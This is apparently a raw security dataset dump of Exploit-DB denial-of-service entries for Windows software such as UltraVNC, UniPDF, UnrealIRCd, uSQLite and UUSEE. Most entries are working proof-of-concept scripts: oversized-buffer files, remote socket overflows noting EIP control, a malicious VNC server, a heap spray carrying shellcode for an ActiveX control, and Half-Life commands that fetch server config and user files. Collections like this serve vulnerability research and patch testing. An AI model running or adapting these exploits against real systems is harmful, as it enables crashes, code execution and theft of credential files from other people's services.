deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46702
Description: UltraVNC Viewer 1.2.2.4 - 'VNC Server' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-15
Author: Victor Mondragón

Exploit:
#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #48291
Description: UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: chuyreds

Exploit:
# Exploit Title:  UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Viewer_VNCServer.py
#2.- Open UltraViewer_VNCServer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraVNC_1.2.40-Viewer_VNCServer.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #7990
Description: UltraVNC/TightVNC (Multiple VNC Clients) - Multiple Integer Overflows (PoC)
Type: dos
Platform: windows
Date: 2009-02-04
Author: Andres Luksenberg

Exploit:
#!/usr/bin/env python
# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568
#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
		print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)"

		clientsocket, clientaddres = serversocket.accept()
		
		data = 'RFB 003.003\n'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print data_cli

		data = '\x00'
		clientsocket.sendall(data)

		data = '\x00\x00\x00\x75'
		clientsocket.sendall(data)
		data = '\x00' * int(0xffffff)

		clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

# milw0rm.com [2009-02-04]
Exploit-DB #23003
Description: UMPlayer Portable 0.95 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-29
Author: p3kok

Exploit:
# Exploit Title: UMPlayer (Portable Edition)
# Date: 2012-11-28
# Exploit Author: p3kok
# Vendor Homepage: http://www.umplayer.com/
# Software Link: http://sourceforge.net/projects/umplayer/ or http://www.umplayer.com/download/
# Version: 0.95(Portable Edition) Compiled 4.7.0
# Tested on: xp sp 2

###### Crash POC ###### 
# Aplication Crashed when mouse over on "Recent files" submenu under "Open" menu 
# 1. Generate umplayer.ini file with this code
# 2. Put umplayer.ini file in UMPlayerPortable directory
# 2. Open UMPlayer.exe
# 3. From "Open" menu, Clik "Recent files" and got the crash

file =("[%General]" + "\n"
"mplayer_bin=mplayer/mplayer.exe" + "\n"
"driver\\vo=\"directx,\"" + "\n"
"driver\\ao=dsound" + "\n"
"use_screenshot=true" + "\n"
"screenshot_directory=./screenshots" + "\n"
"recordings_directory=./recordings" + "\n"
"dont_remember_media_settings=false" + "\n"
"dont_remember_time_pos=false" + "\n"
"audio_lang=" + "\n"
"subtitle_lang=" + "\n"
"use_direct_rendering=false" + "\n"
"use_double_buffer=true" + "\n"
"use_soft_video_eq=false" + "\n"
"use_slices=false" + "\n"
"autoq=6" + "\n"
"add_blackborders_on_fullscreen=false" + "\n"
"turn_screensaver_off=false" + "\n"
"avoid_screensaver=true" + "\n"
"use_soft_vol=true" + "\n"
"softvol_max=110" + "\n"
"use_scaletempo=-1" + "\n"
"use_hwac3=false" + "\n"
"use_audio_equalizer=true" + "\n"
"global_volume=true" + "\n"
"volume=50" + "\n"
"mute=false" + "\n"
"autosync=false" + "\n"
"autosync_factor=100" + "\n"
"use_mc=false" + "\n"
"mc_value=0" + "\n"
"loop=false" + "\n"
"osd=0" + "\n"
"file_settings_method=hash" + "\n"
"font_cache=false" + "\n"
"playCount=11" + "\n" + "\n" )

junk = "\x41" * 1000000
file+="[history]" + "\n"
file+="recents=" + junk

out_file = open("umplayer.ini",'w')
out_file.write(file)
out_file.close()
Exploit-DB #35935
Description: UniPDF 1.1 - Crash (PoC) (SEH)
Type: dos
Platform: windows
Date: 2015-01-29
Author: bonze

Exploit:
# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC
# Google Dork: [none]
# Date: 01/28/2015
# Exploit Author: bonze 
# Email: dungvtr@gmail.com
# Vendor Homepage: http://unipdf.com/
# Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download)
# Version: 1.1
# Tested on: Windows 7 SP1 EN
# CVE : [none]

# Note:
# Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking 
# Please tell me if you have any ideal

#013E8012  |.  68 00020000   			PUSH 200       					                        						; /WideBufSize = 200 (512.)
#013E8017  |.  8D8C24 9C0000>		LEA ECX,DWORD PTR SS:[ESP+9C]         						; |
#013E801E  |.  51            					PUSH ECX                          				       							; |WideCharBuf
#013E801F  |.  52            					PUSH EDX                                 											; |StringSize
#013E8020  |.  50            					PUSH EAX                                 											; |StringToMap
#013E8021  |.  6A 00         					PUSH 0                                   											; |Options
#013E8023  |.  6A 00         					PUSH 0                                   											; |CodePage = CP_ACP
#013E8025  |.  FF15 54B45101 			CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi>		; \MultiByteToWideChar
#013E802B  |.  8D87 08020000 			LEA EAX,DWORD PTR DS:[EDI+208]


# At Offset: 327-> overwrite nSEH 
# At Offset: 329-> overwrite SEH 
# badchar = 0x22

buff2 = "A" * 325
buff2+= "CC" # nSEH
buff2+= "BB" # SEH
crash2   = "<config>\n"
crash2 += "    <current Dat=\"[PII_REDACTED]\" />\n"
crash2 += "    <Dat Txt=\""+buff2+"\" />\n"
crash2 += "</config>\n"

# Copy file update.xml to UniPDF Application Folder and run UniPDF.exe
file = open("update.xml","w")
file.write(crash2)
file.close()

print "UniPDF v1.1 Crash PoC by bonze at FPT-IS"
print "Email: dungvtr@gmail.com"
print "File Created"
Exploit-DB #36841
Description: UniPDF 1.2 - 'xml' Buffer Overflow Crash (PoC)
Type: dos
Platform: windows
Date: 2015-04-27
Author: Avinash Thapa

Exploit:
# Exploit Title: UniPDF v1.2 BufferOverflow, SEH overwrite DoS PoC
# Author : Avinash Kumar Thapa "-Acid"
# Date of Testing :  25th April 2015
# Tested On : Windows XP- Service Pack 3 && Windows 7 Home Basic
# Vendor Homepage: http://unipdf.com/
# Software Link: http://unipdf.com/file/unipdf-setup.exe
# Steps to reproduce the Crash is:
#   Step 1: Run the POC
#   Step 2: Go to local Disk C:\Program Files\UniPDF and copy the POC there
#   Step 3 : Run the UniPdf.exe 

buff2 = "\x41" * 3000
crash = "      <config>\n"
crash +=  "         <UserDefine>\n"
crash  +=               "<Language ID=\"0\" />\n"
crash +=                "<Path PathSet=\""+buff2+"\" Path=\"\" />\n"
crash +=                "<ImageFormat set=\"2\" />\n"
crash +=                "<Res set=\"96\" />\n"
crash +=                "<bit set=\"24\" />\n"
crash +=                "<Prefix set=\"\" />\n"
crash +=                "<Doc set=\"1\" />\n"
crash +=                "<Help set=\"1\" />\n"
crash +=             "</UserDefine>\n"
crash +=        "</config>\n"

print "POC Created By -Acid"
print " acid.exploit@gmail.com" 
file = open("update.xml","w")
file.write(crash)
file.close()
Exploit-DB #18512
Description: Unity 3D Web Player 3.2.0.61061 - Denial of Service
Type: dos
Platform: windows
Date: 2012-02-22
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Unity 3D web player
              http://unity3d.com/webplayer/
Versions:     <= 3.2.0.61061
Platforms:    Windows
Bug:          heap corruption
Exploitation: remote
Date:         21 Feb 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Unity 3d is a game engine used in various games and it's web player
allows to play these games (unity3d extension) also directly from the
web browser.


#######################################################################

======
2) Bug
======


Heap corruption caused by a negative 32bit size value which allows to
execute malicious code.

The provided proof-of-concept is not optimized but should show a write4
and, (tested on Firefox) EIP pointing to an invalid memory zone.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/unity3d_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18512.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #37160
Description: Universal Reader 1.16.740.0 - 'uread.exe' Denial of Service
Type: dos
Platform: windows
Date: 2012-05-14
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/53508/info

Universal Reader is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Universal Reader 1.16.740.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w
$filename="a"x129;
print "------Generate testfile \"a\"x129.epub------\n";
open(TESTFILE, ">$filename.epub");
sleep(3);
close(TESTFILE);
print "------Complete!------\n";
exit(1);
Exploit-DB #14414
Description: Unreal Tournament 3 2.1 - 'STEAMBLOB' Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-07-20
Author: Luigi Auriemma

Exploit:
#Original Advisory: http://aluigi.org/adv/ut3steamer-adv.txt
#
#######################################################################

                             Luigi Auriemma

Application:  Unreal Tournament III
              http://www.unrealtournament3.com
Versions:     <= 2.1 (aka 3809)
Platforms:    Windows (tested) and Linux
Bug:          unitialized pointer
Exploitation: remote, versus server
Date:         17 Jul 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Unreal Tournament III is currently the latest game (2007) of the Unreal
series created by Epic Games (http://www.epicgames.com).


#######################################################################

======
2) Bug
======


The game implements a particular command called STEAMBLOB which is
handled in any case even if Steam is not running.

This command accepts three arguments that are C, N and B and just this
last one (doesn't matter what value it has) is the cause of a problem
during the handling of some pointers that are left unitialized.
The effect is the crash of the whole server due to the access to
invalid memory or a NULL pointer.

It's enough only one UDP packet to exploit the vulnerability so there
are no limitations.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/fakep/unrealfp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14414.zip (unrealfp.zip)

  unrealfp -x 2 -c "STEAMBLOB B=" SERVER PORT


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #27407
Description: UnrealIRCd 3.x - Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-03-09
Author: Brandon Milner

Exploit:
source: https://www.securityfocus.com/bid/17057/info

UnrealIRCd is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users.

#!/usr/bin/perl

# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin@redneck.servebeer.com (Brandon Milner)

use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneck\n");

#################
#   Variables   #
#################
$spass = ("LinkPass");                          # Link Password
$lserver = ("your.server.name");                # Local Server name
$rserver = ("remote.server.name");              # Link Server
$rport = (6667);                                # Link Port
$snum = (6);                                    # Server numeric

#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
        PeerAddr => $rserver,
        PeerPort => $rport,
        Proto => 'tcp',
);

#################
#    Connect    #
#################
die "Couldn't create socket to $rserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneck\n");
print ("SERVER $lserver 1 $snum :PoC by Redneck\n");
sleep 5;
print $sock ("TKL - q\x08Q *\x08PoC\n");
print ("TKL - q\x08Q *\x08PoC\n");
sleep 5;
Exploit-DB #40635
Description: uSQLite 1.0.0 - Denial of Service
Type: dos
Platform: windows
Date: 2016-10-27
Author: Peter Baris

Exploit:
#!/usr/bin/python
# Exploit Title: Remote buffer overflow vulnerability in uSQLite 1.0.0 PoC
# Date: 27/10/1016
# Exploit Author: Peter Baris
# Software Link: https://sourceforge.net/projects/usqlite/?source=directory
# Version: 1.0.0
# Tested on: windows 7 and XP SP3

# Longer strings will cause heap based overflow

# usage:  python usqlite.py <host address>

# Output in the debugger

# EAX 0000038C
# ECX 00B0DA10
# EDX 0000038C
# EBX 41414141
# ESP 0028F8D0 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
# EBP 41414141
# ESI 41414141
# EDI 41414141

# EIP 42424242  <-- EIP is under control, but depending on the OS version, you might have issues finding a jump spot without DEP and ASLR.

###############################################################################################################################################

import socket
import sys


if len(sys.argv)<=1:
	print("Usage: python usqlite.py hostname")
	sys.exit()


hostname=sys.argv[1]
port = 3002
buffer = "A"*259+"B"*4+"C"*360

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((hostname,port))
sock.send(buffer +'\r\n')
sock.recv(1024)
sock.close()
Exploit-DB #17387
Description: UUSEE ActiveX < 6.11.0412.1 - Buffer Overflow
Type: dos
Platform: windows
Date: 2011-06-11
Author: huimaozi

Exploit:
Exploit Title：UUSEE  ActiveX <6.11.0412.1 buffer Overflow vulnerability
 
Versions ：<6.11.0412.1
 
Software Link: http://download.uusee.com/UUSee_Setup_2010.exe
 
Tested on: Windows xp-7
 
Date: 2011/6/11
 
Author :huimaozi
            web:http://www.huimaozi.net/?p=122
 
#############################################################
 
 UUSEE.ocx ,DoCmd () function buffer Overflow .
 
//XP SP3 calc 
<script language=”javascript”> 

  shellcode = unescape(“%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800″ + 
                       “%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A” + 
                       “%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350″ + 
                       “%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40″ + 
                       “%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000″ + 
                       “%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040″ + 
                       “%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD” + 
                       “%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40″ + 
                       “%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18″ + 
                       “%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0″ + 
                       “%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B” + 
                       “%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24″ + 
                       “%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9″ + 
                       “%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C” + 
                       “%u652E%u6578%u9000″);
        nops=unescape(‘%u9090%u9090′);
                      headersize =20;
                      slackspace= headersize + shellcode.length;
                      while( nops.length< slackspace) nops+= nops;
                      fillblock= nops.substring(0, slackspace);
                     block= nops.substring(0, nops.length- slackspace);
                    while( block.length+ slackspace<262000) block= block+ block+ fillblock;
                       memory=new Array();
                      for( counter=0; counter<2000; counter++) memory[ counter]= block+ shellcode;
var arg=Array();

for (i=0;i<=80;i++)
{
 arg[i]=”\u1111″;
}
uusee.DoCmd(arg);

</script>
</html>
Exploit-DB #11064
Description: UUSee ReliPlayer - ActiveX Remote Execution (PoC)
Type: dos
Platform: windows
Date: 2010-01-08
Author: superli

Exploit:
# Exploit Title: UUSee ReliPlayer ActiveX Remote Exec 0day POC
# Author: superli
# Version: 2008
# Tested on: xpsp3 ie6
# Code : 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11064.zip (uusee.zip)
Exploit-DB #46421
Description: Valentina Studio 9.0.4 - 'Host' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-19
Author: Victor Mondragón

Exploit:
#Exploit Title: Valentina Studio 9.0.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-19
#Vendor Homepage: https://valentina-db.com/en/
#Software Link: https://valentina-db.com/en/developer/database/download-valentina-database-adk
#Tested Version: 9.0.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Valentina_Studio_9.0.4.py
#2.- Open valentina.txt and copy content to clipboard
#3.- Open Valentina Studio
#4.- Select "File" > "Connect to"
#5.- Select "Valentina Server"
#6.- Select "Host" and Paste Clipboard
#7.- Crashed

cod = "\x41" * 256

f = open('valentina.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #37893
Description: Valhala Honeypot 1.8 - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2015-08-20
Author: Un_N0n

Exploit:
"""
********************************************************************************************
# Exploit Title: Valhala Honeypot Stack based BOF(Remote DOS)
# Date: 8/20/2015
# Exploit Author: Un_N0n
# Software Developer: Marcos Flavio Araujo Assuncao
# Software Link: http://sourceforge.net/projects/valhalahoneypot/
# Version: 1.8
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- Open 'honeypot.exe'.
2- Enter the IP of the machine on which this honeypot is running, in this case it is your own
   machine i.e 127.0.0.1.
3- Run the script.
~ Software crashes. 


[Code to crash honeypot]: 
==============================================================
"""
import socket

while True:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("IP_ADDR",21))
    s.send('USER test\r\n')
    s.send('PASS test\r\n')
    s.send('ABOR '+'A'*2000+'\r\n')
    s.recv(1024)
    s.send('ABOR '+'A'*5000+'\r\n')
    s.recv(1024)
    s.send('ABOR '+'A'*6000+'\r\n')
    s.recv(1024)
    s.send('QUIT\r\n')
    s.close()

==============================================================

**********************************************************************************************
Exploit-DB #17145
Description: Vallen Zipper 2.30 - '.zip' Heap Overflow
Type: dos
Platform: windows
Date: 2011-04-11
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#
#[+]Exploit Title: Vallen Zipper V2.30 .ZIP File Heap Overflow
#[+]Date: 11\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.vallen.de/freeware/vzsetup.exe
#[+]Version: 2.30
#[+]Tested On: WIN-XP SP3 Brazil Portuguese
#[+]CVE: N/A
#
#
#

use strict;
use warnings;

my $filename = "Exploit.zip"; 

print "\n\n\t\tVallen Zipper 2.30 .ZIP File Heap Overflow\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";

print "\n\n[+] Creting ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

my $payload = "\x41" x 4064;

$payload = $payload.".txt";

my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(3);
Exploit-DB #23388
Description: Valve Software Half-Life Dedicated Server 3.1/4.1 - Information Disclosure/Denial of Service
Type: dos
Platform: windows
Date: 2003-11-19
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/9070/info

Half-Life dedicated server has been reported prone to an information disclosure vulnerability. This issue may also be exploited to deny service to legitimate users of the Half-Life dedicated server.

The issue presents itself due to a flaw in download functionality that is provided by the Half-Life dedicated server. It has been reported that a malicious attacker may exploit this functionality to download any file from the root folder of the current running game type, or from the valve folder.

cmd dlfile server.cfg
cmd dlfile addons/amx/users.ini
cmd dlfile addons/amx/mysql.cfg
cmd dlfile maps/de_torn.bsp